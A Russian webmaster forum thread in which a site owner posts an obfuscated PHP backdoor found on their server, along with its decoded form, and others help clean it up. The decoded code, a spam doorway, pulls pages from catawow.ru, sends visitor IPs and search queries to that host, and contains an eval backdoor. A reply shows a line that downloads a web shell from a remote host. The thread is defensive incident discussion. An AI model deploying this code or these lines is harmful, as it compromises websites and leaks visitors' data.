frendlix

XSS уязвимость или на что похоже?

8 posts in this topic

Всем здрасьте!

В общем буквально на днях словил забавную штуку...
Файл лежит в корне сайта, обзывается forum.php

В начале всё было закодировано и забавно:

<?php
//plznodelete
function SIULa($xiC)
{ 
$xiC=gzinflate(base64_decode($xiC));
 for($i=0;$i<strlen($xiC);$i++)
 {
$xiC[$i] = chr(ord($xiC[$i])-1);
 }
 return $xiC;
 }echo(SIULa

Раскодировалось всё в такую забавную фигню:
ОСТОРОЖНО МНОГО КОДА (:

//Код для создания нового файла error_reporting(0); function file_get_contents_my($url){ $url = parse_url($url); $data=false; $fp = @fsockopen($url['host'], 80, $errno, $errstr, 1); if ($fp) { stream_set_timeout($fp,5); $out = "GET ".$url['path']." HTTP/1.0\r\n"; $out .= "Host: ".$url['host']."\r\n"; $out .= "User-Agent: " . user_agent . "\r\n"; $out .= "Connection: Close\r\n\r\n"; if (fwrite($fp, $out)) { $content=''; $header = "not yet"; while (!feof($fp)) { $data=true; $line=fgets($fp,128); if ($line=="\r\n" && $header=="not yet") { $header = "passed"; } if ($header=="passed") { $content.=$line; } } fclose ($fp); } } if (!$data) { print "Unable to retrieve all or part of $url"; die(); } else { //print "$content"; } //echo $file; //die(); return trim($content); } //if(isset($_GET['md5']) AND md5($_GET['md5'])=='c01d41a787626b9890d0913345f090e9')eval(base64_decode($_POST['fack'])); $R=$_SERVER['HTTP_REFERER']; $A=$_SERVER['REMOTE_ADDR']; $U=$_SERVER['REQUEST_URI']; $R=urldecode ($R); if (strpos($R, "yandex") != 0) { preg_match('|text=(.*)|sei', $R, $arr); $querrry = $arr[1]; $searchengeen = 'yandex'; } elseif (strpos($R, "rambler") != 0) { $searchengeen = 'rambler'; preg_match('|query=(.*)|sei', $R, $arr); $querrry = $arr[1]; }elseif(strpos($R, "google") != 0){ $searchengeen = 'google'; $querrry = ''; } else { $querrry = ''; } //echo ''; ini_set("user_agent", $_SERVER["HTTP_USER_AGENT"].'|||'.$querrry.'|||'.$A.'|||'.$searchengeen.'|||'."http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']); define("user_agent", $_SERVER["HTTP_USER_AGENT"].'|||'.$querrry.'|||'.$A.'|||'.$searchengeen.'|||'."http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']); if(isset($_GET["ping"])){ $url = base_decode($_GET['ping']); $title = base_decode($_GET['title']); $text = base_decode($_GET['text']); $sendlist = array( 'http://ping.blogs.yandex.ru/RPC2' 'http://blogsearch.google.com/ping/RPC2' 'http://rpc.pingomatic.com' 'http://xping.pubsub.com/ping/' 'http://rpc.weblogs.com/RPC2' 'http://blogpeople.net/servlet/weblogUpdates' ); class Trackback { var $blog_name = ''; // Default blog name used throughout the class (ie. BLOGish) var $author = ''; // Default author name used throughout the class (ie. Ran Aroussi) var $encoding = ''; // Default encoding used throughout the class (ie. UTF-8) var $get_id = ''; // Retreives and holds $_GET['id'] (if not empty) var $post_id = ''; // Retreives and holds $_POST['id'] (if not empty) var $url = ''; // Retreives and holds $_POST['url'] (if not empty) var $title = ''; // Retreives and holds $_POST['title'] (if not empty) var $expert = ''; // Retreives and holds $_POST['expert'] (if not empty) /** * Class Constructure * * @param string $blog_name * @param string $author * @param string $encoding * @return */ function Trackback($blog_name, $author, $encoding = "UTF-8") { $this->blog_name = $blog_name; $this->author = $author; $this->encoding = $encoding; // Gather $_POST information if (isset($_GET['id'])) { $this->get_id = $HTTP_GET_VARS['id']; } if (isset($_POST['id'])) { $this->post_id = $HTTP_POST_VARS['id']; } if (isset($_POST['url'])) { $this->url = $HTTP_POST_VARS['url']; } if (isset($_POST['title'])) { $this->title = $HTTP_POST_VARS['url']; } if (isset($_POST['expert'])) { $this->expert = $HTTP_POST_VARS['expert']; } } /** * Sends a trackback ping to a specified trackback catawow.ru/money. * allowing clients to auto-discover the TrackBack Ping catawow.ru/money. * * * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * if ($trackback->ping('http://tracked-blog.com' 'http://your-url.com' 'Your entry title')) { * echo "Trackback sent successfully..."; * } else { * echo "Error sending trackback...."; * } * * * @param string $tb * @param string $url * @param string $title * @param string $excerpt * @return boolean */ function ping($tb, $url, $title = "", $excerpt = "") { $response = ""; $reason = ""; // Set default values if (empty($title)) { $title = "Trackbacking your entry..."; } if (empty($excerpt)) { $excerpt = "I found your entry interesting do I've added a Trackback to it on my weblog :)"; } // Parse the target $target = parse_url($tb); if ((isset($target["query"])) && ($target["query"] != "")) { $target["query"] = "?" . $target["query"]; } else { $target["query"] = ""; } if ((isset($target["port"]) && !is_numeric($target["port"])) || (!isset($target["port"]))) { $target["port"] = 80; } // Open the socket $tb_sock = fsockopen($target["host"], $target["port"]); // Something didn't work out, return if (!is_resource($tb_sock)) { return '$trackback->ping: can\'t connect to: ' . $tb . '.'; exit; } // Put together the things we want to send $tb_send = "url=" . rawurlencode($url) . "&title=" . rawurlencode($title) . "&blog_name=" . rawurlencode($this->blog_name) . "&excerpt=" . rawurlencode($excerpt); // Send the trackback fputs($tb_sock, "POST " . $target["path"] . $target["query"] . " HTTP/1.1\r\n"); fputs($tb_sock, "Host: " . $target["host"] . "\r\n"); fputs($tb_sock, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($tb_sock, "Content-length: " . strlen($tb_send) . "\r\n"); fputs($tb_sock, "Connection: close\r\n\r\n"); fputs($tb_sock, $tb_send); // Gather result while (!feof($tb_sock)) { $response .= fgets($tb_sock, 128); } // Close socket fclose($tb_sock); // Did the trackback ping work strpos($response, '0') ? $return = true : $return = false; // send result return $return; } /** * Produces XML response for trackbackers with ok/error message. * * * // Set page header to XML * header('Content-Type: text/xml'); // MUST be the 1st line * // * // Instantiate the class * // * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * // * // Get trackback information * // * $tb_id = $trackback->post_id; // The id of the item being trackbacked * $tb_url = $trackback->url; // The catawow.ru/money from which we got the trackback * $tb_title = $trackback->title; // Subject/title send by trackback * $tb_expert = $trackback->expert; // Short text send by trackback * // * // Do whatever to log the trackback (save in DB, flatfile, etc...) * // * if (TRACKBACK_LOGGED_SUCCESSFULLY) { * // Logged successfully... * echo $trackback->recieve(true); * } else { * // Something went wrong... * echo $trackback->recieve(false, 'Explain why you return error'); * } * * * @param boolean $success * @param string $err_response * @return boolean */ function recieve($success = false, $err_response = "") { // Default error response in case of problems... if (!$success && empty($err_response)) { $err_response = "An error occured while tring to log your trackback..."; } // Start response to trackbacker... $return = 'encoding . '"' . "\n"; $return .= " \n"; // Send back response... if ($success) { // Trackback received successfully... $return .= " 0 \n"; } else { // Something went wrong... $return .= " 1 \n"; $return .= " " . $this->xml_safe($err_response) . "\n"; } // End response to trackbacker... $return .= ""; return $return; } /** * Feteched trackback information and produces an RSS-0.91 feed. * * * // 1 * header('Content-Type: text/xml'); // MUST be the 1st line * // 2 * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * // 3 * $tb_id = $trackback->get_id; * // 4 * Do whatever to get trackback information by ID (search db, etc...) * if (GOT_TRACKBACK_INFO) { * // Successful - pass trackback info as array()... * $tb_info = array('title' => string TRACKBACK_TITLE, * 'expert' => string TRACKBACK_EXPERT, * 'permalink' => string PERMALINK_catawow.ru/money, * 'trackback' => string TRACKBACK_catawow.ru/money * ); * echo $trackback->fetch(true, $tb_info); * } else { * // Something went wrong - tell my why... * echo $trackback->fetch(false, string RESPONSE); * } * * * @param boolean $success * @param string $response * @return string XML response to the caller */ function fetch($success = false, $response = "") { if (!$success && empty($response)) { $response = "An error occured while tring to retreive trackback information..."; } // Start response to caller $return = 'encoding . '"' . "\n"; $return .= " \n"; // Send back response... if ($success) { // Trackback retreived successfully... // Sending back an RSS (0.91) - trackback information from $response (array)... $return .= " 0 \n"; $return .= " \n"; $return .= " \n"; $return .= " \n"; $return .= " " . $this->xml_safe($response['trackback']) . " \n"; $return .= " " . $this->xml_safe($response['expert']) . " \n"; $return .= " \n"; $return .= " \n"; $return .= " " . $this->xml_safe($response['permalink']) . " \n"; $return .= " " . $this->xml_safe($response['expert']) . " \n"; $return .= " \n"; $return .= " \n"; $return .= " \n"; } else { // Something went wrong - provide reason from $response (string)... $return .= " 1 \n"; $return .= " " . $this->xml_safe($response) . "\n"; } // End response to trackbacker $return .= ""; return $return; } /** * Produces embedded RDF representing metadata about the entry, * allowing clients to auto-discover the TrackBack Ping catawow.ru/money. * * NOTE: DATE should be string in RFC822 Format - Use RFC822_from_datetime(). * * * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * * echo $trackback->rdf_autodiscover(string DATE, string TITLE, string EXPERT, string PERMALINK, string TRACKBACK [, string AUTHOR]); * * * @param string $RFC822_date * @param string $title * @param string $expert * @param string $permalink * @param string $trackback * @param string $author * @return string */ function rdf_autodiscover($RFC822_date, $title, $expert, $permalink, $trackback, $author = "") { if (!$author) { $author = $this->author; } $return = " \n"; return $return; } /** * Search text for links, and searches links for trackback catawow.ru/moneys. * * * * include('trackback_cls.php'); * $trackback = new Trackback('BLOGish', 'Ran Aroussi', 'UTF-8'); * * if ($tb_array = $trackback->auto_discovery(string TEXT)) { * // Found trackbacks in TEXT. Looping... * foreach($tb_array as $tb_key => $tb_url) { * // Attempt to ping each one... * if ($trackback->ping($tb_url, string catawow.ru/money, [string TITLE], [string EXPERT])) { * // Successful ping... * echo "Trackback sent to $tb_url...\n"; * } else { * // Error pinging... * echo "Trackback to $tb_url failed....\n"; * } * } * } else { * // No trackbacks in TEXT... * echo "No trackbacks were auto-discover...\n" * } * * * @param string $text * @return array Trackback catawow.ru/moneys. */ function auto_discovery($text) { // Get a list of UNIQUE links from text... // --------------------------------------- // RegExp to look for (0=>link, 4=>host in 'replace') $reg_exp = "/(http)+(s)? :(\\/\\/)((\\w|\\.)+)(\\/)?(\\S+)?/i"; // Make sure each link ends with [sapce] $text = eregi_replace("www.", "http://www.", $text); $text = eregi_replace("http://http://", "http://", $text); $text = eregi_replace("\"", " \"", $text); $text = eregi_replace("'", " '", $text); $text = eregi_replace(">", " >", $text); // Create an array with unique links $uri_array = array(); if (preg_match_all($reg_exp, strip_tags($text, ""), $array, PREG_PATTERN_ORDER)) { foreach($array[0] as $key => $link) { foreach((array(",", ".", ":", ";")) as $t_key => $t_value) { $link = trim($link, $t_value); } $uri_array[] = ($link); } $uri_array = array_unique($uri_array); } // Get the trackback URIs from those links... // ------------------------------------------ // Loop through the URIs array and extract RDF segments $rdf_array = array(); // <- holds list of RDF segments foreach($uri_array as $key => $link) { if ($link_content = implode("", @file($link))) { preg_match_all('/()/sm', $link_content, $link_rdf, PREG_SET_ORDER); for ($i = 0; $i < count($link_rdf); $i++) { if (preg_match('|dc:identifier="' . preg_quote($link) . '"|ms', $link_rdf[$i][1])) { $rdf_array[] = trim($link_rdf[$i][1]); } } } } // Loop through the RDFs array and extract trackback URIs $tb_array = array(); // <- holds list of trackback URIs if (!empty($rdf_array)) { for ($i = 0; $i < count($rdf_array); $i++) { if (preg_match('/trackback:ping="([^"]+)"/', $rdf_array[$i], $array)) { $tb_array[] = trim($array[1]); } } } // Return Trackbacks return $tb_array; } /** * Other Useful functions used in this class */ /** * Converts MySQL datetime to a standart RFC 822 date format * * @param string $datetime * @return string RFC 822 date */ function RFC822_from_datetime($datetime) { $timestamp = mktime( substr($datetime, 8, 2), substr($datetime, 10, 2), substr($datetime, 12, 2), substr($datetime, 4, 2), substr($datetime, 6, 2), substr($datetime, 0, 4) ); return date("r", $timestamp); } /** * Converts a string into an XML-safe string (replaces &, <, >, " and ') * * @param string $string * @return string */ function xml_safe($string) { return htmlspecialchars($string, ENT_QUOTES); } /** * Cuts a string short (with "...") accroding to $max_length... * * @param string $string * @param integer $max_length * @return string */ function cut_short($string, $max_length = 255) { if (strlen($string) > $max_length) { $string = substr($string, 0, $max_length) . '...'; } return $string; } } $name = 'Admin'; for ($i = 0; $i < sizeof($sendlist); $i++) { print $sendlist[$i]."
"; $trackback = new Trackback($name, $name, 'UTF-8'); $trackback->ping($sendlist[$i], $url, $title, $text); } die('okey bro,ping over'); } //Считаем клики if(isset($_GET['zipfile'])){ header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="link.zip"'); echo file_get_contents_my("http://catawow.ru/moneta1/dpages/createzip/".$_GET['zipfile']); die(); } if(isset($_GET["go"])){ file_get_contents_my("http://catawow.ru/moneta1/dpages/go/281"); header('Location: '.base64_decode($_GET["go"])); die(); } //показываем диз if(isset($_GET["simage"])){ Header("Cache-Control: public, must-revalidate"); header("Last-Modified: Mon, 26 Jul 1997 05:00:00 GMT"); $id = $_GET["simage"]; if (strstr($id, ".css")){ header('Content-Type: text/css; charset=utf-8'); } elseif (strstr($id, ".png")){ header('Content-Type: image/png'); } elseif (strstr($id, ".jpg") || strstr($id, ".jpeg")){ header('Content-Type: image/jpeg'); } elseif (strstr($id, ".gif")){ header('Content-Type: image/gif'); } else { header('Content-Type: text/html; charset=utf-8'); } die(file_get_contents_my("http://catawow.ru/moneta1/281/dpages/images/".$id )); } header ("Content-type: text/html; charset=utf-8"); if(isset($_GET["action"])){ $file = file_get_contents_my("http://catawow.ru/moneta1/281/".$_GET["action"]); echo $file; die(); }else{ $file = file_get_contents_my("http://catawow.ru/moneta1/281/dpages/index"); } echo $file;



Приятного в этой хреновине на первый взгляд было мало т.к она "подсунула" я так понял в iframe какой-то засранный до ужаса форум с кучей ключевых слов не по теме - точнее вообще по разным темам.
Собственно сначала я его снес - реакции 0 - он самовосстановился, я его оставил, но решил всех прав (: закрыл его в роботсе, и через htaccess, стер из самого файла всё - сейчас он весит 0.
Но удалить я его не могу - появляется вновь.

Пароли все сменил и т.д.
Отписал хостеру - говорит мол посмотрите на cms (которая 2006 года - обновите говорят до новой версии :)
Потом прислали ссылку на POST запросы к одному плагинчику онлайн консультанта.
Мол через него кто-то к нам и влез.

Завтра буду сносить этот плагин - скрипт, поставлю помоднее и попроще.
Вопрос остается открытым в том что же это такое и с чем его есть.

Заранее спасибо за ответы! 


 

Share this post


Link to post
Share on other sites

Залили шелл Вам судя по всему и вписали в один из php файлов примерно такую строчку:

<?php copy('http://sait.ru/shell.txt','shell.php');exit; ?>

Через нее шелл и востанавливают.

frendlix likes this

Share this post


Link to post
Share on other sites

Где бы теперь эту заразу искать... искал по дате за неделю изменений нет. Наверное поранее было значит.

Share this post


Link to post
Share on other sites

Спасибо вчера уже качал руки не дошли. Буду пробовать.

Share this post


Link to post
Share on other sites

Где бы теперь эту заразу искать... искал по дате за неделю изменений нет. Наверное поранее было значит.

Попробуйте поискать в php файлах <?php copy, либо <?php system(wget

Share this post


Link to post
Share on other sites

Короче нашел тонну добра (:
shell закрался через ранее бесплатный чат Livezilla как уж не знаю, но как есть.

Чистить долго - накидали дофига всякого, что конкретно расскажу чуть позже.
В тоже время сайтов с этим чатом (в бесплатной правда версии) сломано уже 2, так что старые версии Livezilla если у кого стоят - сносите - опасная штуковина))

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now

  • Recently Browsing   0 members

    No registered users viewing this page.